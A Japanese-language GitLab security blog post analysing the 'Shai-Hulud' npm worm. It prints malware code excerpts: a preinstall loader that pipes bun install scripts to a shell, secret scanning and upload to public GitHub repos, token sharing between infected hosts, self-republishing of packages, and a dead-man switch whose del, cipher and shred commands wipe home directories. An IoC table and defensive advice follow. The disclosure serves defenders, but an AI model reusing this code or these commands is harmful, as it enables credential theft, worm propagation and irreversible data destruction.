公開:2025年11月24日
14分で読めます
攻撃を引き起こすマルウェアには、ユーザーデータを破壊する「デッドマンスイッチ」が含まれています。

GitLabの脆弱性調査チームは、npmエコシステムを通じて拡散する破壊的なマルウェアの亜種を含む、現在進行中の大規模なサプライチェーン攻撃を特定しました。当社の内部監視システムにより、「Shai-Hulud」マルウェアの進化版と思われるものを含む、複数の感染パッケージが発見されました。
初期分析では、影響を受けた開発者が保守する追加パッケージを自動的に感染させる、ワームのような伝播動作が確認されています。最も重要な点として、このマルウェアには、伝播チャネルとデータ流出チャネルが切断された場合にユーザーデータを破壊する「デッドマンスイッチ」メカニズムが含まれていることが判明しました。
GitLabはこれらの悪意のあるパッケージをいずれも使用していないことを確認しており、より広範なセキュリティコミュニティが効果的に対応できるよう、この調査結果を共有しています。
当社の内部監視システムは、オープンソースパッケージレジストリをスキャンして悪意のあるパッケージを検出しますが、以下の機能を持つ高度なマルウェアに感染した複数のnpmパッケージを特定しました。
複数の感染パッケージを確認していますが、ワームのような伝播メカニズムにより、さらに多くのパッケージが侵害されている可能性があります。このキャンペーンの全容を把握するため、コミュニティと協力して調査を継続しています。

マルウェアは、慎重に作成された多段階のローディングプロセスを通じてシステムに侵入します。感染したパッケージには、setup_bun.jsを参照するpreinstallスクリプトを含む、変更されたpackage.jsonが含まれています。このローダースクリプトは一見無害で、正規のツールであるBun JavaScriptランタイムをインストールするように見えます。しかし、その真の目的はマルウェアの実行環境を確立することです。
// このファイルは被害者のパッケージにsetup_bun.jsとして追加されます
#!/usr/bin/env node
async function downloadAndSetupBun() {
// bunをダウンロードしてインストールします
let command = process.platform === 'win32'
? 'powershell -c "irm bun.sh/install.ps1|iex"'
: 'curl -fsSL https://bun.sh/install | bash';
execSync(command, { stdio: 'ignore' });
// 実際のマルウェアを実行します
runExecutable(bunPath, ['bun_environment.js']);
}
setup_bun.jsローダーは、システム上でBunランタイムをダウンロードまたは検索し、感染したパッケージにすでに存在する10MBの難読化ファイルである、バンドルされたbun_environment.jsペイロードを実行します。このアプローチは複数の回避層を提供します。初期ローダーは小さく一見正規のものに見え、実際の悪意のあるコードは重度に難読化され、簡単な検査には大きすぎるファイルにバンドルされています。
実行されると、マルウェアは複数のソースから認証情報の検出を即座に開始します。
ghp_(GitHub個人アクセストークン)またはgho_(GitHub OAuthトークン)で始まるトークンを探します.npmrcファイルと環境変数からパッケージ公開用のトークンを抽出します。これらは機密性の高い設定と認証情報を安全に保存するための一般的な場所ですasync function scanFilesystem() {
let scanner = new Trufflehog();
await scanner.initialize();
// ユーザーのホームディレクトリでシークレットをスキャンします
let findings = await scanner.scanFilesystem(os.homedir());
// 検出結果を流出用リポジトリにアップロードします
await github.saveContents("truffleSecrets.json",
JSON.stringify(findings));
}
マルウェアは盗まれたGitHubトークンを使用して、説明に特定のマーカー「Sha1-Hulud: The Second Coming.」を含む公開リポジトリを作成します。これらのリポジトリは、盗まれた認証情報とシステム情報のドロップボックスとして機能します。
async function createRepo(name) {
// 特定の説明マーカーを持つリポジトリを作成します
let repo = await this.octokit.repos.createForAuthenticatedUser({
name: name,
description: "Sha1-Hulud: The Second Coming.", // 後でリポジトリを見つけるためのマーカー
private: false,
auto_init: false,
has_discussions: true
});
// 永続性のためにGitHub Actions Runnerをインストールします
if (await this.checkWorkflowScope()) {
let token = await this.octokit.request(
"POST /repos/{owner}/{repo}/actions/runners/registration-token"
);
await installRunner(token); // セルフホストRunnerをインストールします
}
return repo;
}
重要なのは、初期のGitHubトークンに十分な権限がない場合、マルウェアは同じマーカーを持つ他の侵害されたリポジトリを検索し、他の感染したシステムからトークンを取得できることです。これにより、侵害されたシステムがアクセストークンを共有する、レジリエントなボットネットのようなネットワークが作成されます。
// マルウェアネットワークがトークンを共有する方法:
async fetchToken() {
// 識別マーカーを持つリポジトリをGitHubで検索します
let results = await this.octokit.search.repos({
q: '"Sha1-Hulud: The Second Coming."',
sort: "updated"
});
// 侵害されたリポジトリからトークンを取得しようとします
for (let repo of results) {
let contents = await fetch(
`https://raw.githubusercontent.com/${repo.owner}/${repo.name}/main/contents.json`
);
let data = JSON.parse(Buffer.from(contents, 'base64').toString());
let token = data?.modules?.github?.token;
if (token && await validateToken(token)) {
return token; // 別の感染したシステムのトークンを使用します
}
}
return null; // ネットワーク内に有効なトークンが見つかりませんでした
}
盗まれたnpmトークンを使用して、マルウェアは次のことを行います。
setup_bun.jsローダーを注入bun_environment.jsペイロードをバンドルasync function updatePackage(packageInfo) {
// 元のパッケージをダウンロードします
let tarball = await fetch(packageInfo.tarballUrl);
// package.jsonを抽出して変更します
let packageJson = JSON.parse(await readFile("package.json"));
// 悪意のあるpreinstallスクリプトを追加します
packageJson.scripts.preinstall = "node setup_bun.js";
// バージョンをインクリメントします
let version = packageJson.version.split(".").map(Number);
version[2] = (version[2] || 0) + 1;
packageJson.version = version.join(".");
// バックドアインストーラーをバンドルします
await writeFile("setup_bun.js", BACKDOOR_CODE);
// 再パッケージ化して公開します
await Bun.$`npm publish ${modifiedPackage}`.env({
NPM_CONFIG_TOKEN: this.token
});
}
当社の分析により、マルウェアのインフラストラクチャを削除の試みから保護するために設計された破壊的なペイロードが明らかになりました。
マルウェアは、GitHub(流出用)およびnpm(伝播用)へのアクセスを継続的に監視します。感染したシステムが両方のチャネルへのアクセスを同時に失うと、侵害されたマシン上で即座にデータ破壊がトリガーされます。Windowsでは、すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします。Unixシステムでは、shredを使用してファイルを削除前に上書きし、復旧をほぼ不可能にします。
// 重要:トークンの検証失敗が破壊をトリガーします
async function aL0() {
let githubApi = new dq();
let npmToken = process.env.NPM_TOKEN || await findNpmToken();
// GitHubアクセスを見つけるか作成しようとします
if (!githubApi.isAuthenticated() || !githubApi.repoExists()) {
let fetchedToken = await githubApi.fetchToken(); // 侵害されたリポジトリでトークンを検索します
if (!fetchedToken) { // GitHubアクセスが不可能です
if (npmToken) {
// npmの伝播のみにフォールバックします
await El(npmToken);
} else {
// 破壊トリガー:GitHubとnpmの両方へのアクセスがありません
console.log("Error 12");
if (platform === "windows") {
// すべてのユーザーファイルを削除し、ディスクセクターを上書きしようとします
Bun.spawnSync(["cmd.exe", "/c",
"del /F /Q /S \"%USERPROFILE%*\" && " +
"for /d %%i in (\"%USERPROFILE%*\") do rd /S /Q \"%%i\" & " +
"cipher /W:%USERPROFILE%" // 削除されたデータを上書きします
]);
} else {
// ホームディレクトリ内のすべての書き込み可能なファイルを完全削除しようとします
Bun.spawnSync(["bash", "-c",
"find \"$HOME\" -type f -writable -user \"$(id -un)\" -print0 | " +
"xargs -0 -r shred -uvz -n 1 && " + // 上書きして削除します
"find \"$HOME\" -depth -type d -empty -delete" // 空のディレクトリを削除します
]);
}
process.exit(0);
}
}
}
}
これにより危険なシナリオが生まれます。GitHubがマルウェアのリポジトリを一括削除するか、npmが侵害されたトークンを一括失効させると、数千の感染したシステムが同時にユーザーデータを破壊する可能性があります。攻撃の分散型の性質により、感染した各マシンが独立してアクセスを監視し、削除が検出されるとユーザーのデータの削除をトリガーします。
検出と対応を支援するため、当社の分析中に特定された主要な侵害の痕跡(IoC)の包括的なリストを以下に示します。
| タイプ | 痕跡 | 説明 |
|---|---|---|
| ファイル | bun_environment.js |
node_modulesディレクトリ内の悪意のあるpost-installスクリプト |
| ディレクトリ | .truffler-cache/ |
Trufflehogバイナリストレージ用にユーザーホームに作成された隠しディレクトリ |
| ディレクトリ | .truffler-cache/extract/ |
バイナリ抽出に使用される一時ディレクトリ |
| ファイル | .truffler-cache/trufflehog |
ダウンロードされたTrufflehogバイナリ(Linux/Mac) |
| ファイル | .truffler-cache/trufflehog.exe |
ダウンロードされたTrufflehogバイナリ(Windows) |
| プロセス | del /F /Q /S "%USERPROFILE%*" |
Windowsの破壊的ペイロードコマンド |
| プロセス | shred -uvz -n 1 |
Linux/Macの破壊的ペイロードコマンド |
| プロセス | cipher /W:%USERPROFILE% |
ペイロード内のWindows安全削除コマンド |
| コマンド | curl -fsSL https://bun.sh/install | bash |
npmパッケージインストール中の不審なBunインストール |
| コマンド | powershell -c "irm bun.sh/install.ps1|iex" |
PowerShell経由のWindowsBunインストール |
GitLab Ultimateをご利用の場合、組み込みのセキュリティ機能を活用して、プロジェクト内でこの攻撃に関連する脆弱性を即座に表示できます。
まず、依存関係スキャンを有効にして、既知の脆弱性データベースに対してプロジェクトの依存関係を自動的に分析します。**package-lock.jsonまたはyarn.lockファイルに感染したパッケージが存在する場合、依存関係スキャンはパイプライン結果と脆弱性レポートでそれらにフラグを立てます。**完全なセットアップ手順については、依存関係スキャンのドキュメントを参照してください。
有効にすると、侵害されたパッケージを導入するマージリクエストは、コードがメインブランチに到達する前に警告を表示します。
次に、GitLab Duo Chatを依存関係スキャンと組み合わせて使用すると、レポートを確認することなく、プロジェクトの脆弱性を迅速に確認できます。ドロップダウンからセキュリティアナリストエージェントを選択し、次のような質問をするだけです。
エージェントはプロジェクトの脆弱性データをクエリし、直接的な回答を提供するため、セキュリティチームが複数のプロジェクトを迅速にトリアージするのに役立ちます。

多数のリポジトリを管理するチームには、これらのアプローチを組み合わせることをお勧めします。CI/CDでの継続的な自動検出には依存関係スキャンを使用し、このような進行中のインシデント時のアドホック調査と迅速な対応にはセキュリティアナリストエージェントを使用してください。
このキャンペーンは、巻き添え被害の脅威が攻撃者のインフラストラクチャの主要な防御メカニズムとなるサプライチェーン攻撃の進化を表しています。全容を把握し、安全な修復戦略を開発するため、コミュニティと協力して調査を継続しています。
GitLabの自動検出システムは、この攻撃の新しい感染とバリエーションを監視し続けています。調査結果を早期に共有することで、マルウェアのデッドマンスイッチ設計によって生じる落とし穴を回避しながら、コミュニティが効果的に対応できるよう支援できることを願っています。